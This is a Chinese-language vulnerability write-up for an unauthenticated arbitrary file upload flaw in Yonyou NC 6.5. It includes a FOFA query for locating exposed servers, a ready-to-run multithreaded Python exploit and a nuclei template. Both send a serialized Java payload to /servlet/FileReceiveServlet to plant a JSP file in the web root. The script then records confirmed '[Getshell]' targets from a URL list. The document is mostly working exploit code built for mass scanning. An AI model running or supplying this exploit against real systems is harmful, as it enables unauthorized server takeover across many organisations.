用友NC 6.5未授权文件上传漏洞

漏洞描述

用友NC6.5版本存在未授权文件上传漏洞，攻击者可以未授权上传任意文件，进而获取服务器控制权限。

影响版本

NC 6.5

漏洞复现

fofa语法：app="用友-UFIDA-NC"
访问页面

POC脚本如下：

import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")
        return vurl
    
def exp(u):
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Content-Type": "multipart/form-data;",
        "Referer": "https://google.com"
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    shellFlag="t0test0ls"
    uploadData+=shellFlag
    try:
        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
        if req1.status_code == 200 :
            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

            if  req3.text.index(shellFlag)>=0:
                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"
                print (printFlag)
                wirte_targets(printFlag, "vuln.txt")
    except :
        pass
    #print(printFlag, end="")


if __name__ == "__main__":
    if (len(sys.argv)) < 2:
        print('useage : python' +str(sys.argv[0]) + ' -h')
    else:
        parser =argparse.ArgumentParser()
        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
        args =parser.parse_args()
        if args.check_url:
            exp(args.check_url)
        
        if(args.check_file):
            multithreading(exp, args.check_file, 8)

运行脚本：python poc.py -u http://IP:PORT

nuclei批量yaml文件

id: yonyou_NC_servlet_upload_t00ls_rce

info:
  name: yonyou_NC_servletupload_t00ls_rce
  author: bjxsec
  severity: high
  tags: yonyou,oa,bjxsec,yonyouoa
  description: fofa   app="用友-UFIDA-NC" "/platform/yonyou-yyy.js"
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.jsp"
  file_content: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |
        POST /servlet/FileReceiveServlet HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Content-Type: multipart/form-data;
        Referer: https://google.com

        {{hex_decode("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000274000946494C455F4E414D45740009")}}t00ls.jsp{{hex_decode("7400105441524745545F46494C455F504154487400102E2F776562617070732F6E635F77656278")}}{{file_content}}
      - |
        GET /t00ls.jsp HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, '{{file_content}}')"
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and